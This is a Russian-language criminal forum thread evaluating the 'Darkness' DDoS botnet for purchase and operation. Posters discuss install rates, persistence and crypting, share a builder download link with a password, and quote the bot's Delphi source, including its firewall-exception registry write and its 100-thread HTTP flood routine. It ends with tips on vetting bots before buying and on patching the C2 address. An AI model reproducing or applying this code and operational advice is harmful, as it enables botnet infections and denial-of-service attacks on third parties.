• XSS.stack #1 – первый литературный журнал от юзеров форума

Darkness Ddos bot v. 6m

[vallium], это печально.
У меня бот тоже кстати не отстукивает в админку. На эксплойте советовали не указывать адрес в хттп, ибо бот стучит на хттпС. Пока что не проверял, да и не знаю, стоит ли, если бот по качеству так себе.
Ничего подобного, используются WinInet функции, отстук идёт на 80-й порт, никакого https.
По сравнению с Black Energy бот - не очень и это легко сказано.
 
BE - эффективность инсталов менее 40%
на Optima DarkNess 90%, а вот жизнь бота убитая,
6m - дропается в недра винды, инсталится как служба, тяжело криптуется
7a - дропается в темп, пишется в Run, легко криптуется но паливность выше.
Это самые "стабильные" версии, бота тестировал сам, 6m за пол часа работы начал кушать 12мб оперативки и постоянно съедая больше, на 7a такого не заметил.

Когда первый раз прочитал про 100потоков, пришел в ужас - "бедные зомби! их же убивают этим!" - отчасти это так, бот через чур резвый, это повышает палево и ботнэт вымирает быстрее чем на чем либо другом.

Насчет ID, это вообще за гранью нормального )) боты его рандомят! ни раз было чтобы под одним ID висело несколько ботов, и не удивляйтесь если от 10к вам отстучало 7 - 8к, не вините сервис, в этом может быть виновен сам бот!

Ну панель да, действительна не агресивная, удобная, приятная :)


Билдер 6м
0e8a0c3dda27.png

http://www.multiupload.com/DM87D3SUIT
Password: by WestSide HeHyA4o
 
:lol2: WestSide зачёт..Очень долго смеялся))подпольный билдер на дарка))Автор сам компилирует,а тут билдер))
Скажи нам неверующим..Нахрена вписывать в билдере пароли к БД и админке?гостевые?Зачем всё это..?Ребята не спешите юзать билдер..Пусть автор обьяснит что к чему!
З.Ы.:Этот ботнет можно еще юзать как лоадер.
 
,15.01.11, 23:31:45] WestSide зачёт..Очень долго смеялся))подпольный билдер на дарка))Автор сам компилирует,а тут билдер))
Скажи нам неверующим..Нахрена вписывать в билдере пароли к БД и админке?гостевые?Зачем всё это..?Ребята не спешите юзать билдер..Пусть автор обьяснит что к чему!
З.Ы.:Этот ботнет можно еще юзать как лоадер.
Непонял причину смеха, оригинальная тема - http://fuckav.ru/showthread.php?t=7194
билдер генерирует конфиг, в архиве в папке AdminPanel/inc/ редактируется файл config.php
И ты знаешь что такое патчинг?
 
2WestSide
Он просто не понял, что там ещё генерится config.php для админки, кроме самого бота =) Это кстати действительно забавно =))

2[vallium]
Написать билдер для троя не проблема. Все зависит от того, как шифруется адрес отстука и как проверяется его целостность. Довольно нудная задача честно говоря =)
 
Тогда приношу извенения..Просто как то дико)что бы в билдер вписывать пасы от админок и бд..Так как графическая оболочка идёт отдельно и её так же просто настраивать в ручную..
 
что бы в билдер вписывать пасы от админок и бд..
У вас нет причин доверять мне, можете снифферить, ломать, колупать билдер, он ничего не отсылает, конфиг можно настроить отдельно AdminPanel/inc/config.php
 
Мне бы интересно за инженер было бы услышать..Он ведь без обзора..так продают кота мешке! не в упрёк автору..просто можно было бы и показать его людям если на продажу выставил.
 
Хех, читал топик в надежде что Pernat1y выскажет свое мнение об этом боте, увы :( мои надежды так и не оправдались :(

Скажу тогда свои "пару слов" нуба Ап этом боте %)))
Первая часть
Chococream пишет:
Ничего подобного, используются WinInet функции, отстук идёт на 80-й порт, никакого https.
Просто это урезанный сэмпл(что выложил Quake3), в нем только dd1=http, а есть еще:
dd2=icmp ну это так, чич-то для примера http://forum.hackzona.ru/forum-f16/ddos-ia...uoe-t20915.html - ddos на дельфи
dd3=tcp/udp (команда DD3 (дата атака на определенный порт))©
хотя че там реально в этих командах (dd2,dd3), хз так как в ботах(боте) что выложил Quake3 и которые имеют одинаковый md5 %))) нет их "кодовой реализации"

WestSide пишет:
Насчет ID, это вообще за гранью нормального )) боты его рандомят! ни раз было чтобы под одним ID висело несколько ботов, и не удивляйтесь если от 10к вам отстучало 7 - 8к
Из 10к 7-8к отстучалось ну это ты загнул, конечно же %)))
Примерно из 100 ботов 1-2 будут иметь одинаковый ID, а сталобыть из 10к 100-200 ботов
Правда есть шанс, что у "неудачников" по жизни может быть и действительно только 7-8к %)))
Трабла здесь в другом, в боте юзается вот такой код для генерации ID

Код:
{копипаст}
function InStr(I: longint): string;
var
  S: string;
begin
  Str(I, S);
  InStr := S;
end;

function ID(): string;
var
  T: Integer;
  lt: TSYSTEMTIME;
  st: TSYSTEMTIME;
begin
  GetLocalTime(lt);
  GetSystemTime(st);
  T := (lt.wMilliseconds+lt.wSecond)*lt.wMilliseconds*lt.wSecond*lt.wSecond*10000;
  Result := Copy(InStr(T), 2, 6);
end;
Если в wMilliseconds или wSecond функция GetLocalTime вернет 0, то функция Copy вернет пустую строку, а сталобыть у бота вообще не будет ID %)))
И здесь процент значительно выше примерно из 100 ботов 1-10 НЕ будут иметь ID вообще
Но этим траблы еще и не ограничиваются %)))
Эта функция юзается еще и для выбора одного из "десяти" юзер агентов, и если эта функция возвращает пустую строку, то соответственно
юзер агент будет - пустая строка
3) Выбор ID случайным образом для каждой копии, не возможно закрыть атаку фильром браузера.
И естественно ни о каком качественном 3 пункте "не возможно закрыть атаку фильром браузера" разговора быть не может

WestSide пишет:
6m за пол часа работы начал кушать 12мб оперативки и постоянно съедая больше
Ну, эт последствия атрофированного мозга от юзанья Delphi – они ведь считают, что Delphi подотрет задницу после любого говнокода, а не-е-д
У него в коде юзается вот такая функция
Код:
procedure GetProcessList();
var
  hSnapshoot: THandle;
  pe32: TProcessEntry32;
begin
   hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
   pe32.dwSize := Sizeof(TProcessEntry32);
   if (Process32First(hSnapshoot, pe32)) then
   begin
      repeat
         hgProcess := OpenProcess(PROCESS_ALL_ACCESS, false, pe32.th32ProcessID);
         chDomain := 50;
         chUser := 50;
         GetCurrentUserAndDomain(User, chUser, Domain, chDomain);
         GetModuleFileNameEx(hgProcess, 0, ModuleName, SizeOf(ModuleName));
         cb := SizeOf(_PROCESS_MEMORY_COUNTERS);
         GetMem(pmc, cb);
         pmc^.cb := cb;
         GetProcessMemoryInfo(pe32.th32ProcessID, pmc, cb);
         if pmc.PeakPagefileUsage <> 0 then
         begin
            if (Pos('?', ModuleName) <> 0) then 
            begin
               if (Length(Trim(ModuleName)) > 0) then 
               begin
                  AddList(InStr(pe32.th32ProcessID), ModuleName, User);
               end;
            end;
         end;
      until Process32Next(hSnapshoot, pe32) = true;
   end;
 end;
Если внимательно посмотреть на код, то можно увидеть что юзается в ЦИКЛЕ GetMem для выделения памяти, а вот FreeMem нет чтобы освобождать память (он наверно думает, что дельфя сама все сделает)
GetProcessList он вызывает в отдельном треде(BeginThread) да еще и в "вечном" цикле да еще и в "двойном" в функе clr(в нескольких обертках) + еще если юзать clr, cla, cls то также дополнительно еще будет жрать память
Хоть и выделяет мало (всего 40 байт за один "оборот") в этих вечных циклах довольно быстро будет жрать память, как раз то, о чем писал WestSide и должно происходить с данным ботом..

Короче чтобы не напрягать мозг, описывая многочисленные баги этого бота..
Скажу что в боте юзается примерно 60-70% кода копипаста с "delphiworld.narod.ru", а то что он сам написал, имеет по 1-3 бага в коде на одну функцию, а это сказывается естественно на качестве бота(и это при 2-х летней поддержке %))), лет так через 10.. кхе-кхе.. может и получицца бот "нового поколения" - ИМХО)
При этом ЛЮБОЙ дельфист среднего класса имея хороший ТЗ(хорошо описывающий поставленную задачу) и за маленький бюджет , может написать такого бота(а скорее всего В РАЗЫ ЛУЧШЕ) за день макс. – ИМХО
Честно скажу я даже 10$ не дал бы за его исходники(хотя аффтор ими барыжит по 5500 вмз %)))), не то, что там еще и за скомпиленного "бота"..
покупать за 350 – ппц, му-ха-ха
Все что в боте юзается - весь код хорошо расписан в дельфи-статьях! (ничего приватного в боте нет!!!)

5) Бот "оборудован" анти-эвристикой.
Пиздеж-ж-жь, единственное что в этом боте(что выложил Quake3) есть, если это и можно назвать с натяжкой "анти-эвристикой" %)))
Код:
procedure FirewallPolicyEnabled();
begin
   if ParamStr(1) <> '/test' then
   begin
      RegSetString(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\', ParamStr(0)+':*:Enabled:KL');
   end;
end;

Вторая часть

1) Работа в 100 потоков, без таймаутов. Потоки хорошо синхронизированы между собой, что дает возможность генерировать максимальное количество http трафика в единицу времени.
Вот кодес, который он так маркетит(каг говарицца: "no comments")
Код:
procedure ThreadFunc_dd1;  
var
   H: string;
begin
   H := GetHost();
   RunningDdos := true;
   while RunningDdos do 
   begin
      DownloadFile(H);
   end;
end;

[...]
if Copy(cmd, 1, 3) = 'dd1' then 
begin
   RunningDdos := false;
   ParserUrl(';', Copy(cmd, 5, Length(cmd)), 15);
   Sleep(1000);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th0);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th1);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th2);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th3);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th4);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th5);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th6);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th7);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th8);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th9);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th10);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th11);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th12);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th13);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th14);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th15);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th16);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th17);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th18);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th19);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th20);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th21);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th22);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th23);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th24);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th25);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th26);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th27);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th28);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th29);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th30);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th31);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th32);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th33);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th34);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th35);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th36);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th37);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th38);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th39);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th40);
   [...]
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th80);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th81);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th82);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th83);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th84);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th85);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th86);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th87);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th88);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th89);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th90);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th91);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th92);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th93);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th94);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th95);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th96);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th97);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th98);
   BeginThread(nil, 1024, @ThreadFunc_dd1, nil, 0, th99);
   Sleep(100);
   count := 0;
end;
[...]
DownloadFile – это "стандартная"(копипаст с "delphiworld.narod.ru") Delphi функция в которую передается ТУПО url атакуемого сайта
Единственное что в DownloadFile он изменил(из своего добавил), так это в функцию InternetOpen он передает "рандомный" юзер агент(о траблах генерации которого уже выше писалось)
вот и весь http ddos %))))))
сила этого сервиса(назовем его так условно) в том, что многие с этого бота начинали и поэтому так много положительных отзывов
ведь если посмотреть на большинство отзывов, то можно заметить что многие пишут что это их "первый" ddos ботнет и автор адекватен в общении – вот этом и есть истЕна, когда это в первый раз происходит, они(клиенты) под воздействием "эйфории"(что он/они завалил свой первый сайт) бегут и строчат положительные отзывы, но когда они набираются "опыта" переходят на более качественное ПО, то только уже потом пишут о боте более АДЕКВАТНО..
при этом тот, кто открывает на основе данного бота свой сервис по ддосу, автор Darkness тут же кидает мазу в топике этого чела(на Мега.HackZona.Ru) за него и настоятельно рекомендует обращацца...
поэтому и создаецца ахуенно-иллюзорное впечатление что бот гуд
ЗЫ: ИМХО
====================================================

Короче чет уже, наверное, много написал.. пора и закругляцца %)))

P. S.
Вообще до покупки бота надо селлеру всегда задавать несколько доп. вопросов: (ИМХО)
Первое – какой "фэйс общения" у бота
Для примера
У Zeus – Pipe и _AVIRA_2109
У Darkness – Service и darkness

Второе – куда инсталлится бот
Для примера
Zeus – C:\WINDOWS\system32\sdra64.exe
Darkness – C:\WINDOWS\system\dwm.exe

Третье – ..

Теперь берем и гуглим darkness "c:\windows\system\dwm.exe"
И смотрим
http://camas.comodo.com/cgi-bin/submit?fil...15f8823&iframe=
из линка мы видим все данные которые нам предоставила "песочница"(прошу, заметит что нам не понадобилось совершенно никакого софта(снифферы, отладчики и прочая хуета) для того чтобы получить нужные данные о боте(куда бот стучит, куда инсталлится итд.) и я уже не раз писал о том что софтом и сервисами аверов надо обязательно пользоваться, если есть такая возможность)
http://216.246.90.119/showthread.php?t=93233
здесь мы видим как с помощью AVZ(об этом "АВ" я тоже где-то уже писал) и скрипта, данного бота удаляют
сталобыть если аверы уже написали спецутилиту/скрипт(если скрипт, то это уже автоматом бот - гавно) итд. по удалению, то нам уже пытаются продать:
1. бот который был заказан и накоден на васме(к примеру) ВЫЖАТ УЖЕ КАК ЛИМОН, но еще как-то "инсталлится"(обычно 30-50% на "хорошем трафе")
2. либо бота кто-то хорошо "проинсталлил" и имеет(СКОРЕЕ ИМЕЛ) большой ботнет, впоследствии чего бот УЖЕ СТАЛ РЕЛИКТОМ
3. etc...
В любом случае вам уже продают ДЕРЬМО и пытаются с него выжать последний песок!

PP. S.
Хотите увидеть что под хайдом? Если выложите вот этот набор сэмплов (если кто-то не хочет светить свое личико, велкам в ПМ)
6* - тяжелая криптовка, тру инстал(как сервис, поэтому тяжело криптуется!)
7а - легко криптуется, гавно инсталка
7g - должен легко криптоваться, тру инстал, 3домена, хз как зашифрованы адреса.
7h - в поисках...
и последнюю админку + FAQ
ТО СНИМУ ХАЙД, а там инфы прилично об этом боте, есть даже кодес из "исходников".. вполне возможно, что и ответы на интересующие вас вопросы
 
да еще нигде не закрывает хэндлы в функе по получению процессов...

мда уж его технике многопоточного программирования позавидовали бы индийские кодеры :)
а может чем больше листинг кода , тем можно дороже сорцы продавать :D
 
Трабла здесь в другом, в боте юзается вот такой код для генерации ID
То что под хайдом я не вижу, но уверен на 110% что там генеририруется рандомный ID примерно по такому алгоритму

Код:
function GenID:Integer;
var i:Integer;
s:String;
begin
Randomize;
While Length(s)<6 do
begin
s:=s+IntToStr(Random(9));
end;
Result:=StrToInt(s);
end;
Далее он пишется куда то и потом читается ботом.
 
Сверху взглянул вроде билд чистенький, но рекомендую под вирт-ой пускать.
Смещение адреса админки ищется в hex-редакторе по строкам(hex): 64747470, проще говоря: "http://".
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх